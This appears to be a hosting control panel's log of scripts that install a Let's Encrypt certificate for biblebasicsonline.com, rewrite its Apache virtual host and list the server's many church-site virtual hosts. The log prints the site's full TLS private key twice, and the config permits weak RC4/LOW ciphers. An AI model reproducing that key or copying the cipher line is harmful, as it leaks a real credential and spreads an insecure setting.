MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC3bkoP6/iGPKXc
+xrgD5bZiUrpw/fQOJobJAmQFsTVoefEel8WnRax3Zj7CKLsKLiPPOXKhyriyyrf
tEE0+He0HK5GQUxDZpo56uP80PaJMRFGsNER9r3ihVWzhxOJ55Bl7hQv2Ajg0b7r
6WLkPeR92J/0YJPUyQlqLmx+CrCi64Jz4+IhY1UlHLIwcm5eRzhfvlhMIyl0Lto/
TRY2NTPvdJ2TAV+T9seTpDARjW+BVGI3LR0tA5yJhxjOqSDZsHm2uZAc7Cj/oBEq
JfkJtkfcV0XDGsPDuEokg64m4oHMPeqDExhDRWnXGJ8BYmX1EJ60s8vlf90PZEB0
NEMFNykxAgMBAAECgf94GJLzS33PgjsWSRjPfdc4CA9LU7v6wtt4W2cD4auMM5+Z
Z9q9j//L5jwYWNZSyI9i//weOkToG8evPdVzkeUGpDJZsLxMD32xptGB/Gr79hYS
eZWFWBWI8sNw1ZvnEfy/3Et3sl2r8P0dzaIcW/e9ws/a6WCLcKLHm0g0Wj0viVh+
lyp0/2TDGcR2oTFocH3OnK/gPpsSXu4mgqEDM1F6+mN/78MoRqssF4l5UMP+n9UZ
emIgqjybxEvomEjUKM/coVC1Ksdd4k84g+KdtREptuTmhG8oDEFEi3yf92yWr0I+
NPt059WYjMN4PY/FMVlm9Op4kHnKl0/NraSSZLkCgYEA2peitSYngAVAWPXG7vNg
aZ6ZE2Jo87N7S8d+9U5j4grok0H9oD8bKjALWRivaAUDEse6OxmsvP4XyBXMzwD0
V7msM+My9XfwAh4PaexJVqnB0m13VIAPKFRgzHHjHqaV53Y6nagX0yDna++uvuWY
XaE5bZxCMJRC7luM8WBY0S0CgYEA1tJBL3RSt15n4sMZpubA8oZwdSCliK38GjAG
o0n/e8nKRHlqsouHc84ysnhJV14GDkQfwP3MQv+XrjdfNPGY9WiQW0kGGSyP4pgb
qHSDO7oAs6WerkyDQOVmi2hHA0OymNcvs+LhST0zHHfxYJ3Nml2YmV5787kOKAA7
Nsm5UpUCgYB0cu1x9XZ7g9Co0537s9m7yoqfwgBJO2dGkmt3ASDCza7iq/gSQywU
iG2zNCxVjL37Zj02uNHGCNLge4SVDlwc08QCDFocXJ2Wcy8g7YiQS3T+xeQZNvNc
N78tispEjNg0604EqQSwK8o9PP1pouRNlNMEKoc0W/dgBZOLDxmhrQKBgQCtyf0Y
QfflBsfuiL3I62dvDNoPt7CTSYXpPa8xDN1WLOKo0L1D4mNbiZY0EeHrf1JQ2kYC
IJDOJu5z77HjKA0BhG08nHAFj6p7u2isuE2u1QRaUYN1KMsKhkuWPm8ssejbg0LB
OaveT1d5EYPCEQfTeSLJ+Mk4XB6at80vvrRhnQKBgCz1YOF9njfo64i5xsmAV/xY
DOva0BYXhXQP/JBYIO6fZTq75HP0MphH79z1/UxuVOQxGSU8Vjwekay3jGiXRX3q
bfQXdYiWiC7t3eCGv3AlJCKQlSjm4jOd2JCGvHgow23CqA2RWyByG5wgUljI6Pmm
nAA5rdkbPj9dD5Isparf
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-20 06:00:31: 

chmod 755 /tmp/pkp179622; /tmp/pkp179622; rm /tmp/pkp179622

2026-03-20 06:00:31: 


dir=/etc/ssl/certs


2026-03-20 06:00:31: 

PUT: /tmp/pkp927018

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-20 06:00:31: 

chmod 755 /tmp/pkp927018; /tmp/pkp927018; rm /tmp/pkp927018

2026-03-20 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-20 06:00:31: 

PUT: /tmp/pkp927457

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi


2026-03-20 06:00:31: 

chmod 755 /tmp/pkp927457; /tmp/pkp927457; rm /tmp/pkp927457

2026-03-20 06:00:31: 




2026-03-20 06:00:31: 

PUT: /tmp/pkp360809

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-20 06:00:31: 

chmod 755 /tmp/pkp360809; /tmp/pkp360809; rm /tmp/pkp360809

2026-03-20 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:00:31: Establishing a connection
2026-03-20 06:00:31: 

PUT: /tmp/pkp575055

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-20 06:00:31: 

chmod 755 /tmp/pkp575055; /tmp/pkp575055; rm /tmp/pkp575055

2026-03-20 06:00:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:00:31: 

PUT: /tmp/pkp929497

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:00:31: 

chmod 755 /tmp/pkp929497; /tmp/pkp929497; rm /tmp/pkp929497

2026-03-20 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf	1467

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-20 06:00:31: 

PUT: /tmp/pkp270021

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:00:31: 

chmod 755 /tmp/pkp270021; /tmp/pkp270021; rm /tmp/pkp270021

2026-03-20 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt	5390
32:1a:c0:97:3c:fb:cf:76:12:dc:6d:da:7f:75:5b:b2

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBVLf/aVdr9x13uUJVMT9qAq0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzIwMDUwMTU4WhcNMjYwNjE4MDUwMTU3WjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC3bkoP6/iGPKXc+xrgD5bZiUrpw/fQOJobJAmQFsTVoefEel8WnRax
3Zj7CKLsKLiPPOXKhyriyyrftEE0+He0HK5GQUxDZpo56uP80PaJMRFGsNER9r3i
hVWzhxOJ55Bl7hQv2Ajg0b7r6WLkPeR92J/0YJPUyQlqLmx+CrCi64Jz4+IhY1Ul
HLIwcm5eRzhfvlhMIyl0Lto/TRY2NTPvdJ2TAV+T9seTpDARjW+BVGI3LR0tA5yJ
hxjOqSDZsHm2uZAc7Cj/oBEqJfkJtkfcV0XDGsPDuEokg64m4oHMPeqDExhDRWnX
GJ8BYmX1EJ60s8vlf90PZEB0NEMFNykxAgMBAAGjggI9MIICOTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUoqf0vSCZXPN+FqvdBQdUsesNqugwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghViaWJsZWJhc2ljc29ubGluZS5jb22C
GXd3dy5iaWJsZWJhc2ljc29ubGluZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy81My5jcmww
ggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEy
Jd0hqSWsYcVOIQAAAZ0J1Lm1AAAEAwBGMEQCIFzXfEMZBV1x0OWHqo91kbaaPzbN
CC9Dcr2SFeDoR64kAiAiW5EwEAw+wRLFOYgc4H11S8TYhcigMscFoLd8WbLciwB+
AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnQnUvMcACAAABQAD
roLFBAMARzBFAiEAlkan6Dxpi23L9YcBZ9dLNFjtEwKKWv289ZZ4nEkNOKoCIDs0
fRexNyssU3duqrrPyZ1vFvL0aCUWiE0BRwxQQ3ffMA0GCSqGSIb3DQEBCwUAA4IB
AQAGpiN7v5S+5ZfO96J4nsSv9NaOBCPFICUDdlgPFI2dLh3SsMOwcqiDl8UouVh0
Yefop5IGE41rbQK0YT3At9KDqh8omQh10XURnFIrwn3IlyU9qGSGsXAWqrar6B7H
LwHJkascqiQkARK9bz67iDi9WLtAEQs5ZRfXG6BRmu5oYoxxKSYARQ+2aFHnFbMq
RXbn8uzmQZqxMm4rZXBaRY0p5lrWpYCmzFk0CMhQdwVEfJBc2KEfSgb5IbIeNmTe
Za8KjGEwTJ4Y36A+AbBd1UZDKDHX/DEAv9+Ag4J6TLDmS4/N/lCI5eEQA5Jx1k/+
flA6HhGqww8VZ7+ze5wxXnyg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC3bkoP6/iGPKXc
+xrgD5bZiUrpw/fQOJobJAmQFsTVoefEel8WnRax3Zj7CKLsKLiPPOXKhyriyyrf
tEE0+He0HK5GQUxDZpo56uP80PaJMRFGsNER9r3ihVWzhxOJ55Bl7hQv2Ajg0b7r
6WLkPeR92J/0YJPUyQlqLmx+CrCi64Jz4+IhY1UlHLIwcm5eRzhfvlhMIyl0Lto/
TRY2NTPvdJ2TAV+T9seTpDARjW+BVGI3LR0tA5yJhxjOqSDZsHm2uZAc7Cj/oBEq
JfkJtkfcV0XDGsPDuEokg64m4oHMPeqDExhDRWnXGJ8BYmX1EJ60s8vlf90PZEB0
NEMFNykxAgMBAAECgf94GJLzS33PgjsWSRjPfdc4CA9LU7v6wtt4W2cD4auMM5+Z
Z9q9j//L5jwYWNZSyI9i//weOkToG8evPdVzkeUGpDJZsLxMD32xptGB/Gr79hYS
eZWFWBWI8sNw1ZvnEfy/3Et3sl2r8P0dzaIcW/e9ws/a6WCLcKLHm0g0Wj0viVh+
lyp0/2TDGcR2oTFocH3OnK/gPpsSXu4mgqEDM1F6+mN/78MoRqssF4l5UMP+n9UZ
emIgqjybxEvomEjUKM/coVC1Ksdd4k84g+KdtREptuTmhG8oDEFEi3yf92yWr0I+
NPt059WYjMN4PY/FMVlm9Op4kHnKl0/NraSSZLkCgYEA2peitSYngAVAWPXG7vNg
aZ6ZE2Jo87N7S8d+9U5j4grok0H9oD8bKjALWRivaAUDEse6OxmsvP4XyBXMzwD0
V7msM+My9XfwAh4PaexJVqnB0m13VIAPKFRgzHHjHqaV53Y6nagX0yDna++uvuWY
XaE5bZxCMJRC7luM8WBY0S0CgYEA1tJBL3RSt15n4sMZpubA8oZwdSCliK38GjAG
o0n/e8nKRHlqsouHc84ysnhJV14GDkQfwP3MQv+XrjdfNPGY9WiQW0kGGSyP4pgb
qHSDO7oAs6WerkyDQOVmi2hHA0OymNcvs+LhST0zHHfxYJ3Nml2YmV5787kOKAA7
